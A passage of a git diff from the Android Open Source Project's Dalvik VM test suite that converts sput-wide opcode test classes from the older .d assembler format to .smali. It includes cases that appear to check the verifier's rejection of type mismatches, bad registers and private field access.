-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_15
-.super dot/junit/opcodes/sput_wide/d/T_sput_wide_1
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sput_wide/d/T_sput_wide_1/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v1, 1
-       sput-wide v1, dot.junit.opcodes.sput_wide.d.T_sput_wide_1.st_pvt1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_15.smali
new file mode 100644
index 0000000..001f6e1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_15.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_15.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_15;
+.super  Ldot/junit/opcodes/sput_wide/d/T_sput_wide_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 1
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_1;->st_pvt1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_17.d
deleted file mode 100644
index ab57cb7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_17.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_17.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_17
-.super java/lang/Object
-
-.field public static st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v1, 1
-       sput-wide v1, dot.junit.opcodes.sput_wide.d.T_sput_wide_17.st_i1 J
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_17.smali
new file mode 100644
index 0000000..f161d5f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_17.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_17.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_17;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 1
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_17;->st_i1:J
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_18.d
deleted file mode 100644
index 463bdbd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_18.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_18.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_18
-.super java/lang/Object
-
-.field public static st_i1 F
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1.0
-       sput-wide v1, dot.junit.opcodes.sput_wide.d.T_sput_wide_18.st_i1 F
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_18.smali
new file mode 100644
index 0000000..5de12ce
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_18.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_18;
+.super Ljava/lang/Object;
+.source "T_sput_wide_18.java"
+
+
+# static fields
+.field public static st_i1:F
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v1, 0x3f800000    # 1.0f
+
+    sput-wide v1, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_18;->st_i1:F
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_2.d
deleted file mode 100644
index 84b5622..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_2.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_2
-.super java/lang/Object
-
-.field public static st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 1
-       sput-wide v0, dot.junit.opcodes.sput_wide.d.T_sput_wide_4.st_i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_2.smali
new file mode 100644
index 0000000..0afb094
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_2.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_2;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       sput-wide v0, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_4;->st_i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_20.d
deleted file mode 100644
index ca43933..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_20.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_20
-.super java/lang/Object
-
-.field public static st_o Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       sput-wide v3, dot.junit.opcodes.sput_wide.d.T_sput_wide_20.st_o Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_20.smali
new file mode 100644
index 0000000..8563e8e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_20.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_20;
+.super Ljava/lang/Object;
+.source "T_sput_wide_20.java"
+
+
+# static fields
+.field public static st_o:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    sput-wide p0, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_20;->st_o:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_21.d
deleted file mode 100644
index 04cf574..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_21.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_21.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_21
-.super java/lang/Object
-
-.field public static st_c C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const-wide v0, 12    
-       sput-wide v0, dot.junit.opcodes.sput_wide.d.T_sput_wide_21.st_c C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_21.smali
new file mode 100644
index 0000000..8ee02ad
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_21.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_21.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_21;
+.super  Ljava/lang/Object;
+
+.field public static st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const-wide v0, 12    
+       sput-wide v0, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_21;->st_c:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_22.d
deleted file mode 100644
index d89d3cf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_22.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_22.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_22
-.super java/lang/Object
-
-.field public static st_i I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const-wide v0, 1    
-       sput-wide v0, dot.junit.opcodes.sput_wide.d.T_sput_wide_22.st_i I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_22.smali
new file mode 100644
index 0000000..9401ccc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_22.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_22.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_22;
+.super  Ljava/lang/Object;
+
+.field public static st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const-wide v0, 1    
+       sput-wide v0, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_22;->st_i:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_23.d
deleted file mode 100644
index da254f8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_23.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_23.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_23
-.super java/lang/Object
-
-.field public static st_b B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const-wide v0, 1    
-       sput-wide v0, dot.junit.opcodes.sput_wide.d.T_sput_wide_23.st_b B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_23.smali
new file mode 100644
index 0000000..ba939a4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_23.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_23.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_23;
+.super  Ljava/lang/Object;
+
+.field public static st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const-wide v0, 1    
+       sput-wide v0, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_23;->st_b:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_24.d
deleted file mode 100644
index e663946..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_24.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_24.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_24
-.super java/lang/Object
-
-.field public static st_z Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const-wide v0, 1    
-       sput-wide v0, dot.junit.opcodes.sput_wide.d.T_sput_wide_24.st_z Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_24.smali
new file mode 100644
index 0000000..e7587ed
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_24.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_24.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_24;
+.super  Ljava/lang/Object;
+
+.field public static st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const-wide v0, 1    
+       sput-wide v0, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_24;->st_z:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_3.d
deleted file mode 100644
index 344db70..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_3.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_3
-.super java/lang/Object
-
-.field public static st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       sput-wide v0, dot.junit.opcodes.sput_wide.d.T_sput_wide_3.st_i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_3.smali
new file mode 100644
index 0000000..5ca6ca5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_3.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_3;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       sput-wide v0, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_3;->st_i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_4.d
deleted file mode 100644
index 0f29358..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_4.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_4
-.super java/lang/Object
-
-.field public static st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-wide v3, dot.junit.opcodes.sput_wide.d.T_sput_wide_4.st_i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_4.smali
new file mode 100644
index 0000000..0309a6f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_4.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_4;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-wide v3, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_4;->st_i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_5.d
deleted file mode 100644
index 0918986..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_5.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_5.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_5
-.super java/lang/Object
-
-.field public static st_i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
-.method public run()V
-.limit regs 3
-
-       const-wide v1, 0.5
-       sput-wide v1, dot.junit.opcodes.sput_wide.d.T_sput_wide_5.st_i1 D
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_5.smali
